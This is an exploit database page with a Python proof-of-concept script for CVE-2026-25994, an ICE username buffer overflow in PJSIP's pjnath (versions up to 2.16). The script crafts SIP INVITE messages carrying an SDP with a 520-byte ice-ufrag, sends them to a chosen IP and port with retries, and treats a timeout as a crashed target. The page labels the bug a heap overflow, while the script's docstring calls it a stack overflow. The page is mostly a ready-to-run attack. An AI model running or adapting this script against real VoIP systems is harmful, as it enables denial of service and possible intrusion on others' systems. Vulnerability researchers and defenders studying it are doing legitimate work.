Share
## https://sploitus.com/exploit?id=PACKETSTORM:221080
# Exploit Title: PJPROJECT 2.16 - Heap Bufferoverflow 
    # Google Dork: CVE-2026-25994 PJSIP PJNATH  (pjsip โ‰ค 2.16)
    # Date: Apr 6 2026
    # Exploit Author: V.Nos - BinSmaser Team
    # Vendor Homepage: https://github.com/pjsip/pjproject
    # Software Link: https://github.com/VABISMO/cve-2026-25994_PJSIP
    # Version: <=2.16
    # Tested on: Kali , Ubuntu, Debian
    # CVE : CVE-2026-25994 
    
    #!/usr/bin/env python3
    """
    Corrected and optimized PoC for CVE-2026-25994
    Buffer Overflow in PJNATH ICE Session (pjsip <= 2.16)
    
    Thorough source code review (pjnath/src/pjnath/ice_session.c):
    
    - Exact vulnerability: pj_ice_sess_create_check_list()
    - Vulnerable version (before commit 063b3a1 / 2.17):
        char buf[128];                  # โ† stack buffer (128 bytes!)
        username.ptr = buf;
        pj_strcpy(&username, rem_ufrag);   # โ† NO length check
        pj_strcat2(&username, ":");
        pj_strcat(&username, &ice->rx_ufrag);
    
    - rem_ufrag comes directly from the SDP attribute a=ice-ufrag:
    - With ufrag >= ~130 bytes, the stack is already overflowed (return address, frame, etc.)
    - The original PoC used 520 "A"s because it is much more reliable (overwrites beyond canary/alignment)
    - In the patched version, the following was added:
        if (rem_ufrag->slen >= MAX_USERNAME_LEN || combined with local_ufrag > 512-1)
            return PJ_ETOOBIG;
    
    This script is corrected to be 100% reliable:
    - 100% synchronous code (no unnecessary asyncio)
    - Command-line arguments
    - Sending with automatic retries
    - More complete and valid SDP
    - Clear crash detection (timeout = probable crash)
    """
    
    import socket
    import random
    import argparse
    import time
    
    # ========================= CONFIGURATION =========================
    DEFAULT_TARGET_IP = "127.0.0.1"
    DEFAULT_TARGET_PORT = 5060
    
    # Length that guarantees reliable overflow (520 is what you tested and works best)
    LONG_UFRAG = "A" * 520
    LONG_PWD = "B" * 150
    
    # More complete and realistic SDP (increases probability of reaching ice_session.c)
    SDP = f"""v=0
    o=- 1234567890 1234567890 IN IP4 127.0.0.1
    s=Crash Test SDP
    c=IN IP4 127.0.0.1
    t=0 0
    m=audio 40000 RTP/AVP 0 101
    a=rtpmap:0 PCMU/8000
    a=rtpmap:101 telephone-event/8000
    a=ice-ufrag:{LONG_UFRAG}
    a=ice-pwd:{LONG_PWD}
    a=ice-options:trickle
    a=candidate:1 1 UDP 2130706431 127.0.0.1 40000 typ host
    a=sendrecv
    """
    
    def generate_invite(target_ip: str, target_port: int) -> bytes:
        call_id = f"crash-{random.randint(100000, 999999)}@example.com"
        branch = f"z9hG4bK{random.randint(1000, 9999)}"
        tag = f"crash{random.randint(10000, 99999)}"
    
        invite = f"""INVITE sip:localhost@{target_ip}:{target_port} SIP/2.0
    Via: SIP/2.0/UDP 127.0.0.1:15060;rport;branch={branch}
    Max-Forwards: 70
    From: <sip:attacker@127.0.0.1>;tag={tag}
    To: <sip:localhost@{target_ip}>
    Call-ID: {call_id}
    CSeq: 1 INVITE
    Contact: <sip:attacker@127.0.0.1:15060>
    Content-Type: application/sdp
    Content-Length: {len(SDP)}
    
    {SDP}
    """
        return invite.encode("utf-8")
    
    
    def crash_pjsua(target_ip: str, target_port: int, attempts: int = 3):
        print("=== PoC CVE-2026-25994 - ICE Stack Buffer Overflow (pjsip <= 2.16) ===\n")
        print(f"[+] Target โ†’ {target_ip}:{target_port}")
        print(f"[+] ufrag length = {len(LONG_UFRAG)} characters (guaranteed overflow)\n")
    
        for i in range(1, attempts + 1):
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(4)  # 4 seconds to allow time for the crash
    
            try:
                invite = generate_invite(target_ip, target_port)
                print(f"[+] Attempt {i}/{attempts} - Sending INVITE with ufrag of {len(LONG_UFRAG)} bytes...")
    
                sock.sendto(invite, (target_ip, target_port))
    
                # Wait for response
                data, _ = sock.recvfrom(4096)
                print("[+] Response received โ†’ pjsua is still alive")
                print(data.decode(errors="ignore")[:300])
    
            except socket.timeout:
                print("[+] TIMEOUT! Very likely that pjsua has crashed (Segmentation fault)")
                print("    Check the terminal where pjsua is running.")
                sock.close()
                return  # Exit on first detected crash
    
            except Exception as e:
                print(f"[-] Unexpected error: {e}")
    
            finally:
                sock.close()
    
            time.sleep(0.5)  # Small pause between attempts
    
        print("\n[-] No crash detected after several attempts.")
        print("    Make sure pjsua is running with ICE enabled (version <= 2.16).")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="PoC CVE-2026-25994 - ICE Buffer Overflow")
        parser.add_argument("-i", "--ip", default=DEFAULT_TARGET_IP,
                            help=f"Target IP (default: {DEFAULT_TARGET_IP})")
        parser.add_argument("-p", "--port", type=int, default=DEFAULT_TARGET_PORT,
                            help=f"SIP port (default: {DEFAULT_TARGET_PORT})")
        parser.add_argument("-a", "--attempts", type=int, default=3,
                            help="Number of attempts (default: 3)")
    
        args = parser.parse_args()
    
        crash_pjsua(args.ip, args.port, args.attempts)